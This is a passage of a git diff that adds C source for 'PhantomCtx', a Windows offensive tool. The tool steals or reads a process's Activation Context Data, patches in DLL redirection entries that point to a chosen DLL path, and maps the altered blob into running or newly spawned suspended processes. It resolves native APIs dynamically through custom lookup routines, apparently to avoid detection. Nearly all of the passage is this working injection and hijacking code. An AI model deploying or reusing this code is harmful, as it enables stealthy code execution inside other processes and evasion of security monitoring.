= GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, ps_name, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION); + + if (!hProcess) { + free(ps_name); + return FALSE; + } + + free(ps_name); + + // Copy ACTIVATION_CONTEXT_DATA blob from target process to local heap buffer + SIZE_T actCtxSize = 0; + void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hProcess, &actCtxSize); + + if(!actCtxBlob){ + printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n"); + CloseHandle(hProcess); + return FALSE; + } + + // Parse TOC entries and DLL redirection section from the Activation Context Data blob + ParseDllRedirections((const BYTE*)actCtxBlob, (ULONG)actCtxSize); + + // Cleanup + HeapFree(GetProcessHeap(), 0, actCtxBlob); + CloseHandle(hProcess); + return TRUE; +} + +BOOL modeRecon(const char* submode, const char* target) { + + if (strcmp(submode, "spawn") == 0) { + if(!reconSpawn(target)){ + return FALSE; + } + return TRUE; + + } else if (strcmp(submode, "runtime") == 0) { + if(!reconRuntime(target)){ + return FALSE; + } + return TRUE; + } + + return FALSE; +} \ No newline at end of file diff --git a/PhantomCtx/recon/recon.h b/PhantomCtx/recon/recon.h new file mode 100644 index 0000000..a655299 --- /dev/null +++ b/PhantomCtx/recon/recon.h @@ -0,0 +1,15 @@ +#pragma once +#include + +BOOL modeRecon( + const char* submode, + const char* target +); + +BOOL reconSpawn( + const char* targetPath +); + +BOOL reconRuntime( + const char* processName +); \ No newline at end of file diff --git a/PhantomCtx/runtime/runtime.c b/PhantomCtx/runtime/runtime.c new file mode 100644 index 0000000..362cb41 --- /dev/null +++ b/PhantomCtx/runtime/runtime.c @@ -0,0 +1,437 @@ +#include +#include + +#include "runtime.h" +#include "..\common\dynamic_resolution.h" +#include "..\common\c_runtime.h" +#include "..\common\ntdefs.h" +#include "..\common\actctx.h" +#include "..\common\process_utils.h" + +BOOL runtimeStealContext(const char* targetName, const char* dllName, const char* dllPath, const char* stealFrom) { + + // Dynamic module address resolution using custom implementation of GetModuleHandleW + HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) { + printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n"); + return FALSE; + } + + // Dynamic function address resolution using custom implementation of GetProcAddressA + fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation)phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation"); + fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess) phantom_GetProcAddressA(hNtdll, "NtOpenProcess"); + fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory) phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory"); + fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess"); + fnNtCreateSection pNtCreateSection = (fnNtCreateSection) phantom_GetProcAddressA(hNtdll, "NtCreateSection"); + fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection"); + fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection"); + + if (!pNtQuerySystemInformation || !pNtOpenProcess || !pNtReadVirtualMemory || + !pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection) { + printf("[ERROR] Dynamic function address resolution failed.\n"); + return FALSE; + } + + // Get steal process handle specifying the name + WCHAR* wStealFrom = phantom_char_to_wchar_ascii(stealFrom); + HANDLE hStealProcess = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wStealFrom, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION); + free(wStealFrom); + + if (!hStealProcess) return FALSE; + + SIZE_T actCtxSize = 0; + void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hStealProcess, &actCtxSize); + CloseHandle(hStealProcess); + + if (!actCtxBlob) { + printf("[ERROR] Failed to copy Activation Context Data blob from steal process.\n"); + return FALSE; + } + printf("[INFO] Activation Context blob from '%s'. TotalSize=0x%lX\n", stealFrom, (ULONG)actCtxSize); + + // Reallocate with extra space for patching + BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES + EXTRA_BYTES_ADD); + if (!blob) { + printf("[ERROR] HeapReAlloc failed.\n"); + HeapFree(GetProcessHeap(), 0, actCtxBlob); + return FALSE; + } + + // Convert dllName and dllPath to WCHAR + WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName); + WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath); + if (!wDllName || !wDllPath) { + printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n"); + free(wDllName); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + return FALSE; + } + + printf("[INFO] Patching blob: dllName='%s' redirectPath='%s'\n", dllName, dllPath); + + // Patch or add DLL redirection entry + ULONG newTotalSize = PatchOrAddDllRedirection(blob, (ULONG)actCtxSize, wDllName, wDllPath, 1); + free(wDllName); + free(wDllPath); + + if (newTotalSize == (ULONG)actCtxSize) { + printf("[ERROR] PatchOrAddDllRedirection failed.\n"); + HeapFree(GetProcessHeap(), 0, blob); + return FALSE; + } + printf("[SUCCESS] Blob patched. New TotalSize = 0x%lX\n", newTotalSize); + + // Print patched blob contents + printf("\n[INFO] Patched ActivationContextData:\n"); + ParseDllRedirections((const BYTE*)blob, newTotalSize); + + // Open the running target process + WCHAR* wTargetName = phantom_char_to_wchar_ascii(targetName); + HANDLE hTarget = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wTargetName, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION); + free(wTargetName); + + if (!hTarget) { + HeapFree(GetProcessHeap(), 0, blob); + return FALSE; + } + + // Inject patched blob into the running target process + NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, hTarget, blob, newTotalSize); + CloseHandle(hTarget); + + if (!NT_SUCCESS(status)) { + printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status); + HeapFree(GetProcessHeap(), 0, blob); + return FALSE; + } + + printf("[SUCCESS] Activation Context hijacked in running process '%s'.\n", targetName); + + // Cleanup + HeapFree(GetProcessHeap(), 0, blob); + return TRUE; +} + +BOOL runtimeAddEntry(const char* targetName, const char* dllName, const char* dllPath) { + + // Dynamic module address resolution using custom implementation of GetModuleHandleW + HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) { + printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n"); + return FALSE; + } + + // Dynamic function address resolution using custom implementation of GetProcAddressA + fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation) phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation"); + fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess) phantom_GetProcAddressA(hNtdll, "NtOpenProcess"); + fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory) phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory"); + fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess"); + fnNtCreateSection pNtCreateSection = (fnNtCreateSection) phantom_GetProcAddressA(hNtdll, "NtCreateSection"); + fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection"); + fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection"); + + if (!pNtQuerySystemInformation || !pNtOpenProcess || !pNtReadVirtualMemory || + !pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection) { + printf("[ERROR] Dynamic function address resolution failed.\n"); + return FALSE; + } + + // Open the running target process + WCHAR* wTargetName = phantom_char_to_wchar_ascii(targetName); + HANDLE hTarget = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wTargetName, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION); + free(wTargetName); + + if (!hTarget) return FALSE; + + // Copy ActivationContextData blob from the running target process + SIZE_T actCtxSize = 0; + void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hTarget, &actCtxSize); + + if (!actCtxBlob) { + printf("[ERROR] Failed to copy Activation Context Data blob from target process.\n"); + CloseHandle(hTarget); + return FALSE; + } + printf("[INFO] Blob copied from target. TotalSize=0x%lX\n", (ULONG)actCtxSize); + + // Reallocate with extra space for the new entry + BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES_ADD); + if (!blob) { + printf("[ERROR] HeapReAlloc failed.\n"); + HeapFree(GetProcessHeap(), 0, actCtxBlob); + CloseHandle(hTarget); + return FALSE; + } + + // Convert dllName and dllPath to WCHAR + WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName); + WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath); + if (!wDllName || !wDllPath) { + printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n"); + free(wDllName); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(hTarget); + return FALSE; + } + + // Reject if no DLL redirection section exists in the target blob + ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob; + ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset); + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset); + + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL; + for (ULONG i = 0; i < toc->EntryCount; i++) { + if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) { + dllToc = &tocEntries[i]; + break; + } + } + + if (!dllToc) { + printf("[ERROR] No DLL redirection section (Id==2) found in the target's blob.\n"); + printf("[HINT] The target has no DLL redirection section.\n"); + printf(" Use 'steal-context' to steal the Activation Context from a process that has one.\n"); + free(wDllName); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(hTarget); + return FALSE; + } + + // Reject if the entry already exists —> use patch-entry to overwrite an existing redirect + { + ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset); + BYTE* B1 = (BYTE*)sshdr; + ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset); + ULONG keyByteLen = (ULONG)(wcslen(wDllName) * sizeof(WCHAR)); + + for (ULONG i = 0; i < sshdr->ElementCount; i++) { + if (keyByteLen != strEntries[i].KeyLength) continue; + const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset); + ULONG nChars = keyByteLen / sizeof(WCHAR); + BOOL match = TRUE; + for (ULONG c = 0; c < nChars; c++) { + WCHAR a = existingKey[c]; + WCHAR b = wDllName[c]; + if (a >= L'A' && a <= L'Z') a += (L'a' - L'A'); + if (b >= L'A' && b <= L'Z') b += (L'a' - L'A'); + if (a != b) { match = FALSE; break; } + } + if (match) { + printf("[ERROR] '%s' already exists at entry[%lu].\n", dllName, i); + printf("[HINT] Use 'patch-entry' to overwrite the existing redirect.\n"); + free(wDllName); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(hTarget); + return FALSE; + } + } + } + + printf("[INFO] Adding entry: dllName='%s' redirectPath='%s'\n", dllName, dllPath); + + // Add new DLL redirection entry + ULONG newTotalSize = AddDllRedirectionEntry(blob, (ULONG)actCtxSize, wDllName, wDllPath, 1); + free(wDllName); + free(wDllPath); + + if (newTotalSize == (ULONG)actCtxSize) { + printf("[ERROR] AddDllRedirectionEntry failed.\n"); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(hTarget); + return FALSE; + } + printf("[SUCCESS] Entry added. New TotalSize = 0x%lX\n", newTotalSize); + + // Print patched blob contents + printf("\n[INFO] Patched ActivationContextData:\n"); + ParseDllRedirections((const BYTE*)blob, newTotalSize); + + // Inject patched blob into the running target process + NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, hTarget, blob, newTotalSize); + CloseHandle(hTarget); + + if (!NT_SUCCESS(status)) { + printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status); + HeapFree(GetProcessHeap(), 0, blob); + return FALSE; + } + + printf("[SUCCESS] Activation Context hijacked in running process '%s'.\n", targetName); + + // Cleanup + HeapFree(GetProcessHeap(), 0, blob); + return TRUE; +} + +BOOL runtimePatchEntry(const char* targetName, const char* dllName, const char* dllPath) { + + // Dynamic module address resolution using custom implementation of GetModuleHandleW + HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) { + printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n"); + return FALSE; + } + + // Dynamic function address resolution using custom implementation of GetProcAddressA + fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation) phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation"); + fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess) phantom_GetProcAddressA(hNtdll, "NtOpenProcess"); + fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory) phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory"); + fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess"); + fnNtCreateSection pNtCreateSection = (fnNtCreateSection) phantom_GetProcAddressA(hNtdll, "NtCreateSection"); + fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection"); + fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection"); + + if (!pNtQuerySystemInformation || !pNtOpenProcess || !pNtReadVirtualMemory || + !pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection) { + printf("[ERROR] Dynamic function address resolution failed.\n"); + return FALSE; + } + + // Open the running target process + WCHAR* wTargetName = phantom_char_to_wchar_ascii(targetName); + HANDLE hTarget = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wTargetName, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION); + free(wTargetName); + + if (!hTarget) return FALSE; + + // Copy ActivationContextData blob from the running target process + SIZE_T actCtxSize = 0; + void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hTarget, &actCtxSize); + + if (!actCtxBlob) { + printf("[ERROR] Failed to copy Activation Context Data blob from target process.\n"); + CloseHandle(hTarget); + return FALSE; + } + printf("[INFO] Blob copied from target. TotalSize=0x%lX\n", (ULONG)actCtxSize); + + // Reallocate with extra space for patching + BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES); + if (!blob) { + printf("[ERROR] HeapReAlloc failed.\n"); + HeapFree(GetProcessHeap(), 0, actCtxBlob); + CloseHandle(hTarget); + return FALSE; + } + + // Convert dllName and dllPath to WCHAR + WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName); + WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath); + if (!wDllName || !wDllPath) { + printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n"); + free(wDllName); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(hTarget); + return FALSE; + } + + // Locate the DLL redirection section + ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob; + ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset); + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset); + + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL; + for (ULONG i = 0; i < toc->EntryCount; i++) { + if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) { + dllToc = &tocEntries[i]; + break; + } + } + + if (!dllToc) { + printf("[ERROR] No DLL redirection section (Id==2) found in the target's blob.\n"); + printf("[HINT] The target has no SxS DLL redirection manifest.\n"); + printf(" Use 'steal-context' to steal the entire Activation Context from a process that has one.\n"); + free(wDllName); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(hTarget); + return FALSE; + } + + // Search for the target entry by case-insensitive name + ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset); + BYTE* B1 = (BYTE*)sshdr; + ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset); + + ULONG keyByteLen = (ULONG)(wcslen(wDllName) * sizeof(WCHAR)); + LONG foundIdx = -1; + for (ULONG i = 0; i < sshdr->ElementCount; i++) { + if (keyByteLen != strEntries[i].KeyLength) continue; + const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset); + ULONG nChars = keyByteLen / sizeof(WCHAR); + BOOL match = TRUE; + for (ULONG c = 0; c < nChars; c++) { + WCHAR a = existingKey[c]; + WCHAR b = wDllName[c]; + if (a >= L'A' && a <= L'Z') a += (L'a' - L'A'); + if (b >= L'A' && b <= L'Z') b += (L'a' - L'A'); + if (a != b) { match = FALSE; break; } + } + if (match) { foundIdx = (LONG)i; break; } + } + + free(wDllName); + + if (foundIdx < 0) { + printf("[ERROR] '%s' not found in DLL redirection section.\n", dllName); + printf("[HINT] No existing redirect for this DLL. Use 'add-entry' to create one.\n"); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(hTarget); + return FALSE; + } + + printf("[INFO] Patching entry[%ld]: dllName='%s' redirectPath='%s'\n", foundIdx, dllName, dllPath); + + // Patch the existing entry + ULONG newTotalSize = PatchDllRedirectionEntry(blob, (ULONG)actCtxSize, (ULONG)foundIdx, wDllPath); + free(wDllPath); + + if (newTotalSize == (ULONG)actCtxSize) { + printf("[ERROR] PatchDllRedirectionEntry failed.\n"); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(hTarget); + return FALSE; + } + printf("[SUCCESS] Entry patched. New TotalSize = 0x%lX\n", newTotalSize); + + // Print patched blob contents + printf("\n[INFO] Patched ActivationContextData:\n"); + ParseDllRedirections((const BYTE*)blob, newTotalSize); + + // Inject patched blob into the running target process + NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, hTarget, blob, newTotalSize); + CloseHandle(hTarget); + + if (!NT_SUCCESS(status)) { + printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status); + HeapFree(GetProcessHeap(), 0, blob); + return FALSE; + } + + printf("[SUCCESS] Activation Context hijacked in running process '%s'.\n", targetName); + + // Cleanup + HeapFree(GetProcessHeap(), 0, blob); + return TRUE; +} + +BOOL modeRuntime(const char* submode, const char* targetName, const char* dllName, const char* dllPath, const char* stealFrom) { + if (strcmp(submode, "steal-context") == 0) { + if (!runtimeStealContext(targetName, dllName, dllPath, stealFrom)) return FALSE; + return TRUE; + } else if (strcmp(submode, "add-entry") == 0) { + if (!runtimeAddEntry(targetName, dllName, dllPath)) return FALSE; + return TRUE; + } else if (strcmp(submode, "patch-entry") == 0) { + if (!runtimePatchEntry(targetName, dllName, dllPath)) return FALSE; + return TRUE; + } + return FALSE; +} diff --git a/PhantomCtx/runtime/runtime.h b/PhantomCtx/runtime/runtime.h new file mode 100644 index 0000000..cb08a85 --- /dev/null +++ b/PhantomCtx/runtime/runtime.h @@ -0,0 +1,29 @@ +#pragma once +#include + +BOOL modeRuntime( + const char* submode, + const char* targetName, + const char* dllName, + const char* dllPath, + const char* stealFrom +); + +BOOL runtimeStealContext( + const char* targetName, + const char* dllName, + const char* dllPath, + const char* stealFrom +); + +BOOL runtimeAddEntry( + const char* targetName, + const char* dllName, + const char* dllPath +); + +BOOL runtimePatchEntry( + const char* targetName, + const char* dllName, + const char* dllPath +); diff --git a/PhantomCtx/spawn/spawn.c b/PhantomCtx/spawn/spawn.c new file mode 100644 index 0000000..e02cb27 --- /dev/null +++ b/PhantomCtx/spawn/spawn.c @@ -0,0 +1,551 @@ +#include +#include + +#include "spawn.h" +#include "..\common\dynamic_resolution.h" +#include "..\common\c_runtime.h" +#include "..\common\ntdefs.h" +#include "..\common\actctx.h" +#include "..\common\process_utils.h" + +BOOL spawnStealContext(const char* targetPath, const char* dllName, const char* dllPath, const char* stealFrom) { + + // Dynamic module address resolution using custom implementation of GetModuleHandleW + HMODULE hKernel32 = phantom_GetModuleHandleW(L"kernel32.dll"); + + if(!hKernel32){ + printf("[ERROR] Couldn't get 'kernel32.dll' handle.\n"); + return FALSE; + } + + HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll"); + + if(!hNtdll){ + printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n"); + return FALSE; + } + + // Dynamic function address resolution using custom implementation of GetProcAddressA + fnCreateProcessW pCreateProcessW = (fnCreateProcessW)phantom_GetProcAddressA(hKernel32, "CreateProcessW"); + fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory"); + fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess"); + fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation)phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation"); + fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess)phantom_GetProcAddressA(hNtdll, "NtOpenProcess"); + fnNtCreateSection pNtCreateSection = (fnNtCreateSection)phantom_GetProcAddressA(hNtdll, "NtCreateSection"); + fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection"); + fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection"); + fnResumeThread pResumeThread = (fnResumeThread)phantom_GetProcAddressA(hKernel32, "ResumeThread"); + + if (!pCreateProcessW || !pNtReadVirtualMemory || !pNtQueryInformationProcess || !pNtQuerySystemInformation || !pNtOpenProcess || !pNtCreateSection || !pNtMapViewOfSection || !pResumeThread || !pNtUnmapViewOfSection) { + printf("[ERROR] Dynamic function address resolution failed.\n"); + return FALSE; + } + + // Get steal process handle specifying the process name + WCHAR* wStealFrom = phantom_char_to_wchar_ascii(stealFrom); + HANDLE hStealProcess = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wStealFrom, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION); + free(wStealFrom); + + if (!hStealProcess) return FALSE; + + // Copy ACTIVATION_CONTEXT_DATA blob from target steal process to local heap buffer + SIZE_T actCtxSize = 0; + void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hStealProcess, &actCtxSize); + CloseHandle(hStealProcess); + + if(!actCtxBlob){ + printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n"); + return FALSE; + } + printf("[INFO] Activation Context blob from '%s'. TotalSize=0x%lX\n", stealFrom, (ULONG)actCtxSize); + + // Reallocate with extra space for patching + BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES + EXTRA_BYTES_ADD); + if (!blob) { + printf("[ERROR] HeapReAlloc failed.\n"); + HeapFree(GetProcessHeap(), 0, actCtxBlob); + return FALSE; + } + + // Convert dllName and dllPath to WCHAR + WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName); + WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath); + if (!wDllName || !wDllPath) { + printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n"); + free(wDllName); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + return FALSE; + } + + printf("[INFO] Patching blob: dllName='%s' redirectPath='%s'\n", dllName, dllPath); + + // Patch or add DLL redirection entry + ULONG newTotalSize = PatchOrAddDllRedirection( + blob, + (ULONG)actCtxSize, + wDllName, + wDllPath, + 1 + ); + + free(wDllName); + free(wDllPath); + + if (newTotalSize == (ULONG)actCtxSize) { + printf("[ERROR] PatchOrAddDllRedirection failed.\n"); + HeapFree(GetProcessHeap(), 0, blob); + return FALSE; + } + printf("[SUCCESS] Blob patched. New TotalSize = 0x%lX\n", newTotalSize); + + // Print patched blob contents + printf("\n[INFO] Patched ActivationContextData:\n"); + ParseDllRedirections((const BYTE*)blob, newTotalSize); + + // Launch target process in suspended state + WCHAR* widePath = phantom_char_to_wchar_ascii(targetPath); + STARTUPINFOW si = { 0 }; + si.cb = sizeof(STARTUPINFOW); + PROCESS_INFORMATION pi = { 0 }; + + BOOL result = pCreateProcessW( + NULL, + widePath, + NULL, + NULL, + FALSE, + CREATE_SUSPENDED, + NULL, + NULL, + &si, + &pi + ); + + free(widePath); + + if (!result) { + printf("[ERROR] CreateProcessW failed: %u\n", GetLastError()); + return FALSE; + } + + printf("[SUCCESS] Suspended process created...\n"); + + // Inject patched Activation Context blob into the suspended target process + NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, pi.hProcess, blob, newTotalSize); + + if (!NT_SUCCESS(status)) { + printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + result = pResumeThread(pi.hThread); + + if (!result) { + printf("[ERROR] ResumeThread failed: %u\n", GetLastError()); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + printf("[SUCCESS] Target process resumed.\n"); + + // Cleanup + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + HeapFree(GetProcessHeap(), 0, blob); + return TRUE; +} + +BOOL spawnAddEntry(const char* targetPath, const char* dllName, const char* dllPath) { + + // Dynamic module address resolution using custom implementation of GetModuleHandleW + HMODULE hKernel32 = phantom_GetModuleHandleW(L"kernel32.dll"); + + if(!hKernel32){ + printf("[ERROR] Couldn't get 'kernel32.dll' handle.\n"); + return FALSE; + } + + HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll"); + + if(!hNtdll){ + printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n"); + return FALSE; + } + + // Dynamic function address resolution using custom implementation of GetProcAddressA + fnCreateProcessW pCreateProcessW = (fnCreateProcessW)phantom_GetProcAddressA(hKernel32, "CreateProcessW"); + fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory"); + fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess"); + fnNtCreateSection pNtCreateSection = (fnNtCreateSection)phantom_GetProcAddressA(hNtdll, "NtCreateSection"); + fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection"); + fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection"); + fnResumeThread pResumeThread = (fnResumeThread)phantom_GetProcAddressA(hKernel32, "ResumeThread"); + + if (!pCreateProcessW || !pNtReadVirtualMemory || !pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection || !pResumeThread) { + printf("[ERROR] Dynamic function address resolution failed.\n"); + return FALSE; + } + + // Launch target process in suspended state + WCHAR* widePath = phantom_char_to_wchar_ascii(targetPath); + STARTUPINFOW si = { 0 }; + si.cb = sizeof(STARTUPINFOW); + PROCESS_INFORMATION pi = { 0 }; + + BOOL result = pCreateProcessW(NULL, widePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); + free(widePath); + + if (!result) { + printf("[ERROR] CreateProcessW failed: %u\n", GetLastError()); + return FALSE; + } + + printf("[SUCCESS] Suspended process created...\n"); + + // Copy ACTIVATION_CONTEXT_DATA blob from the suspended target process itself + SIZE_T actCtxSize = 0; + void* 